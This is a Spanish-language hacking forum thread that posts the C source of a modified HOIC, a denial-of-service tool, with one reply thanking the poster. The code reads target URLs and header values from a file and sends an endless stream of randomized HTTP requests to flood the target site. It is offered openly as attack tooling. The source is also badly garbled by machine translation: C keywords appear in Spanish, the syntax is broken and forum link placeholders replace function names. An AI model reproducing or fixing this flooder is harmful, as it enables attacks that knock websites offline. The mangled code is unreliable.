send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SC] HOIC modificado by CrashOverrider:

  • 1 Respuestas
  • 1879 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Stuxnet

  • *
  • Underc0der
  • Mensajes: 259
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Devel Security
  • Twitter: _stuxnet
« en: Noviembre 03, 2011, 12:44:29 pm »
Código: C
  1. / * HOIC - cañón de iones de alta orbital
  2.  
  3.      . * Hoic archivos:
  4.      * Líneas de ejemplo válido:
  5.      * # (Comentarios)
  6.      * URL: http://www.example.org:80/foo/bar
  7.      * User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
  8.      * Juego de caracteres: ISO-8859-1
  9.      * Aceptar: text / html
  10.      *
  11.      * Se necesita al menos una de cada una de las líneas anteriores para que funcione.
  12.      * URL siempre debe incluir "http://" y un puerto. No HTTPS, You are not allowed to view links. Register or Login embargo, lo siento.
  13.      *
  14.      * Este código se libera en el dominio público.
  15.      *
  16.      * - Anónimo
  17.      * /
  18.      
  19.     # Include
  20.     # Include
  21.     # Include <sys/types.h>
  22.     # Include <sys/socket.h>
  23.     # Include <netinet/in.h>
  24.     # Include <netdb.h>
  25.     # Include <stdarg.h>
  26.     # Include <string.h>
  27.      
  28.     / * Si usted está escribiendo cargas personalizadas, que controlan lo que
  29.        pasa a la conexión después de enviar su petición * /
  30.     # Define CLOSENOW 0
  31.     # Define leer 1
  32.     # Define repetir 2
  33.      
  34.     # Define SOCKET_BUF_SIZE 2048
  35.      
  36.     typedef struct {list_t
  37.             char * datos;
  38.             struct list_t * siguiente;
  39.     List_t};
  40.      
  41.     list_t urls *;
  42.     int numUrls = 0;
  43.     list_t * userAgents;
  44.     int numUserAgents = 0;
  45.     list_t * acceptTypes;
  46.     int numAcceptTypes = 0;
  47.     list_t charsets *;
  48.     int numCharsets = 0;
  49.      
  50.     int socket_printf (int sockfd, const char * fmt, ...)
  51.     {
  52.             int retval = 0;
  53.             va_list ap;
  54.             char * cadena = You are not allowed to view links. Register or Login (SOCKET_BUF_SIZE);
  55.            
  56.             You are not allowed to view links. Register or Login (ap, fmt);
  57.             retval = You are not allowed to view links. Register or Login (str, fmt, ap);
  58.             You are not allowed to view links. Register or Login (ap);
  59.      
  60.        escribir (sockfd, str, You are not allowed to view links. Register or Login (str));
  61.             libre (str);
  62.             volver retval;
  63.     }
  64.      
  65.     / * Crear un retraso aleatorio de milisegundos entre inferiores y superiores. * /
  66.     randomDelay vacío (int límite inferior, límite superior int) {
  67.             int r = límite inferior + (You are not allowed to view links. Register or Login () / (float) RAND_MAX) * (límite superior - límite inferior);
  68.             usleep (1000 * R);
  69.     }
  70.      
  71.     AddURL vacío (char * data) {
  72.             list_t * el = (list_t *) You are not allowed to view links. Register or Login (sizeof (list_t));
  73.             list_t * cabeza urls =;
  74.      
  75.             numUrls + +;
  76.      
  77.             el-> data = strdup (datos);
  78.             el-> siguiente = NULL;
  79.      
  80.             if (urls == NULL) {
  81.                     urls = el;
  82.                     return;
  83.             }
  84.      
  85.             while (cabeza-> siguiente! = NULL) {
  86.                     cabeza = cabeza-> siguiente;
  87.             }
  88.      
  89.             cabeza-> siguiente = el;
  90.     }
  91.      
  92.     addUserAgent vacío (char * data) {
  93.             list_t * el = (list_t *) You are not allowed to view links. Register or Login (sizeof (list_t));
  94.             list_t * cabeza = userAgents;
  95.      
  96.             el-> data = strdup (datos);
  97.             el-> siguiente = NULL;
  98.            
  99.             numUserAgents + +;
  100.      
  101.             if (userAgents == NULL) {
  102.                     userAgents = el;
  103.                     return;
  104.             }
  105.      
  106.             while (cabeza-> siguiente! = NULL) {
  107.                     cabeza = cabeza-> siguiente;
  108.             }
  109.      
  110.             cabeza-> siguiente = el;
  111.     }
  112.      
  113.     addAcceptType vacío (char * data) {
  114.             list_t * el = (list_t *) You are not allowed to view links. Register or Login (sizeof (list_t));
  115.             list_t * cabeza = acceptTypes;
  116.      
  117.             el-> data = strdup (datos);
  118.             el-> siguiente = NULL;
  119.      
  120.             numAcceptTypes + +;
  121.      
  122.             if (acceptTypes == NULL) {
  123.                     acceptTypes = el;
  124.                     return;
  125.             }
  126.      
  127.             while (cabeza-> siguiente! = NULL) {
  128.                     cabeza = cabeza-> siguiente;
  129.             }
  130.      
  131.             cabeza-> siguiente = el;
  132.     }
  133.      
  134.     AddCharset vacío (char * data) {
  135.             list_t * el = (list_t *) You are not allowed to view links. Register or Login (sizeof (list_t));
  136.             list_t * cabeza = juegos de caracteres;
  137.      
  138.             You are not allowed to view links. Register or Login ("Juego de caracteres:% s \ n", datos);
  139.      
  140.             el-> data = strdup (datos);
  141.             el-> siguiente = NULL;
  142.      
  143.             numCharsets + +;
  144.      
  145.             if (juegos de caracteres == NULL) {
  146.                     charsets = el;
  147.                     return;
  148.             }
  149.      
  150.             while (cabeza-> siguiente! = NULL) {
  151.                     cabeza = cabeza-> siguiente;
  152.             }
  153.      
  154.             cabeza-> siguiente = el;
  155.     }
  156.      
  157.     char * listGet (list_t * cabeza, int n) {
  158.             if (cabeza == NULL) {
  159.                     You are not allowed to view links. Register or Login (stderr, "no listGet% (d) \ n", n);
  160.                     You are not allowed to view links. Register or Login (1);
  161.             }
  162.      
  163.             if (n == 0) return cabeza-> data;
  164.      
  165.             volver listGet (cabeza-> siguiente, n-1);
  166.     }
  167.      
  168.     char * randomUrl (void) {
  169.             int sel = (You are not allowed to view links. Register or Login () / (float) RAND_MAX) numUrls *;
  170.             volver listGet (urls, sel);
  171.     }
  172.      
  173.     randomUserAgent char * (void) {
  174.             int sel = (You are not allowed to view links. Register or Login () / (float) RAND_MAX) numUserAgents *;
  175.             volver listGet (userAgents, sel);
  176.     }
  177.      
  178.     char * randomAcceptString (void) {
  179.             int sel = (You are not allowed to view links. Register or Login () / (float) RAND_MAX) * numAcceptTypes;
  180.             volver listGet (acceptTypes, sel);
  181.     }
  182.      
  183.     char * randomCharset (void) {
  184.             int sel = (You are not allowed to view links. Register or Login () / (float) RAND_MAX) numCharsets *;
  185.             volver listGet (juegos de caracteres, sel);
  186.     }
  187.      
  188.     int randomKeepAlive (void) {
  189.             devolución de 30 + (((You are not allowed to view links. Register or Login () / (float) RAND_MAX) * 5) * 15);
  190.     }
  191.      
  192.     / * Generar una solicitud plausible de aspecto HTTP.
  193.      
  194.             Esto va a generar todo lo que antes de la final \ r \ n,
  195.             para permitir que la carga útil () para agregar encabezados.
  196.      
  197.             llamar finish_http_request () después de este
  198.             para generar el resto.
  199.     * /
  200.     send_http_request vacío (int sockfd, char * host, char * uri) {
  201.             socket_printf (sockfd, "GET /% s HTTP/1.1 \ r \ n", uri);
  202.             socket_printf (sockfd, "Host:% s \ r \ n", host);
  203.             socket_printf (sockfd, "User-Agent:% s \ r \ n", randomUserAgent ());
  204.             socket_printf (sockfd, "Aceptar:% s,% s,% s, q = 0,9 ,*/*; q = 0,8 \ r \ n",
  205.                                                     randomAcceptString (),
  206.                                                     randomAcceptString (),
  207.                                                     randomAcceptString ());
  208.             socket_printf (sockfd, "Keep-Alive:% d \ r \ n", randomKeepAlive ());
  209.             socket_printf (sockfd, "Cache-Control: no-cache \ r \ n");
  210.             socket_printf (sockfd, "Accept-Charset:% s,% s,, q = 0,7, *, q = 0,7 \ r \ n",
  211.                                                     randomCharset (), randomCharset ());
  212.     }
  213.      
  214.     finish_http_request vacío (int sockfd) {
  215.             socket_printf (sockfd, "\ r \ n");
  216.     }
  217.      
  218.     / *
  219.             / / CLOSENOW si el socket debe ser cerrado inmediatamente.
  220.             / / Leer leer de nuevo los datos de toma y cierre.
  221.             / / Repetir si debemos mantener la cabeza abierta y hacer otra petición.
  222.     * /
  223.     int carga (int sockfd, anfitrión char *, char * uri) {
  224.             send_http_request (sockfd, host, uri);
  225.             finish_http_request (sockfd);
  226.      
  227.             libre (host);
  228.             libre (URI);
  229.      
  230.             volver CLOSENOW;
  231.     }
  232.      
  233.     int main (int argc, char * argv []) {
  234.             peticiones unsigned int, cargas;
  235.             int sockfd, portno, n, resolver, vuelva a conectar;
  236.             struct sockaddr_in serv_addr;
  237.             struct hostent * servidor;
  238.             carbón buffer [1024];
  239.      
  240.             You are not allowed to view links. Register or Login ("GEOSYNCRONOUS ORBITAL cañón de iones (GOIC) \ n".)
  241.      
  242.             if (argc <2) {
  243.                     You are not allowed to view links. Register or Login (stderr,
  244.                                       "Uso:% s <file.goic> \ n",
  245.                                       argv [0]);
  246.                     You are not allowed to view links. Register or Login (1);
  247.             }
  248.      
  249.             FILE * fp = You are not allowed to view links. Register or Login (argv [1], "r");
  250.             caracteres de línea [1024];
  251.      
  252.             if (fp == NULL) {
  253.                     You are not allowed to view links. Register or Login (stderr, "Error al abrir el archivo '% s' \ n", argv [1]);
  254.                     You are not allowed to view links. Register or Login (1);
  255.             }
  256.      
  257.             while (You are not allowed to view links. Register or Login (linea, 1024, fp)! = NULL) {
  258.                     if (linea [0] == '#') siguen;
  259.      
  260.                     línea [You are not allowed to view links. Register or Login (línea) -1] = '\ 0';
  261.      
  262.                     if (0 == You are not allowed to view links. Register or Login (línea, "URL", 5))
  263.                             AddURL (strdup (línea 5));
  264.      
  265.                     else if (0 == You are not allowed to view links. Register or Login (línea, "user-agent", 11))
  266.                             addUserAgent (strdup (línea 11));
  267.      
  268.                     else if (0 == You are not allowed to view links. Register or Login (línea, "Aceptar", 8))
  269.                             addAcceptType (strdup (línea 8));
  270.      
  271.                     else if (0 == You are not allowed to view links. Register or Login (línea, "Juego de caracteres:", 9))
  272.                             AddCharset (strdup (línea 9));
  273.      
  274.                     else if (linea [0] == '\ r' | | line [0] == '\ n') siguen;
  275.             }
  276.      
  277.             / * La semilla del generador de números aleatorios * /
  278.             You are not allowed to view links. Register or Login (You are not allowed to view links. Register or Login (0));
  279.      
  280.             resolver = 1;
  281.             reconectar = 1;
  282.             peticiones = 0;
  283.             cargas = 0;
  284.      
  285.             while (1) {
  286.                     char * url = randomUrl ();
  287.      
  288.                     anfitrión char [255];
  289.                     caracteres uri [255];
  290.      
  291.                     You are not allowed to view links. Register or Login (url, "254% http:// [^:]:% 99d /% 254 [^ \ n]", de acogida, y portno, uri);
  292.      
  293.                     if ((% carga útil 100) == 0) {
  294.                             You are not allowed to view links. Register or Login ("* Informe sobre la marcha:");
  295.                             You are not allowed to view links. Register or Login ("% los intentos de conexión u /% u cargas entregadas. \ n",
  296.                                                     peticiones,
  297.                                                     cargas);
  298.                     }
  299.      
  300.                     if (conectar) {
  301.                             sockfd = socket (AF_INET, SOCK_STREAM, 0);
  302.                             peticiones + +;
  303.                     }
  304.      
  305.                     if (sockfd <0) {
  306.                             You are not allowed to view links. Register or Login (stderr, ". Error al crear el socket Vamos a esperar e intentarlo de nuevo \ n".)
  307.                             randomDelay (5000,20000);
  308.                             reconectar = 1;
  309.                             continuar;
  310.                     }
  311.      
  312.                     if (resolver) {
  313.                             You are not allowed to view links. Register or Login ("host Resolución:% s \ n", host);
  314.      
  315.                             servidor = gethostbyname (host);
  316.      
  317.                             if (servidor == NULL) {
  318.                                     You are not allowed to view links. Register or Login (stderr, "Error: No se ha podido resolver el host:% s \ n", host);
  319.                                     randomDelay (500,5000);
  320.                                     continuar;
  321.                             }
  322.                    
  323.                             bzero ((char *) & serv_addr, sizeof (serv_addr));
  324.                             serv_addr.sin_family = AF_INET;
  325.                             bcopy ((char *) en el servidor> h_addr,
  326.                                             (Char *) y serv_addr.sin_addr.s_addr,
  327.                                             servidor> h_length);
  328.                    
  329.                             serv_addr.sin_port = htons (portno);
  330.      
  331.                             resolver = 0;
  332.                     }
  333.      
  334.                     if (y volver a conectar y conectar (sockfd, y serv_addr, sizeof (serv_addr)) <0) {
  335.                             resolver = 1;
  336.                             reconectar = 1;
  337.                             You are not allowed to view links. Register or Login (stderr,
  338.                             "Host parece estar rechazando las conexiones victoria está a la mano 1111one \ n!");
  339.                             randomDelay (50,1000);
  340.                             continuar;
  341.                     }
  342.      
  343.                     n = carga útil (sockfd, strdup (host), strdup (URI));
  344.                     cargas + +;
  345.                    
  346.                     if (n == CLOSENOW) {
  347.                             cierre (sockfd);
  348.                             reconectar = 1;
  349.                     } Else if (n == LEER) {
  350.                             leer (sockfd, buffer, 1024);
  351.                             randomDelay (50,1000);
  352.                             cierre (sockfd);
  353.                             reconectar = 1;
  354.                     Else {}
  355.                             if (leer (sockfd, buffer, 1024)) {
  356.                                     reconectar = 0;
  357.                                     resolver = 0;
  358.                             Else {}
  359.                                     reconectar = 1;
  360.                                     resolver = 1;
  361.                             }
  362.                     }
  363.             }
  364.      
  365.             return 0;
  366.     }
« Última modificación: Febrero 08, 2014, 05:45:39 pm por Expermicid »
You are not allowed to view links. Register or Login

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #1 en: Noviembre 19, 2011, 03:29:42 pm »
Muy bueno hackw32, gracias por traerlo  ;)
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

 

¿Te gustó el post? COMPARTILO!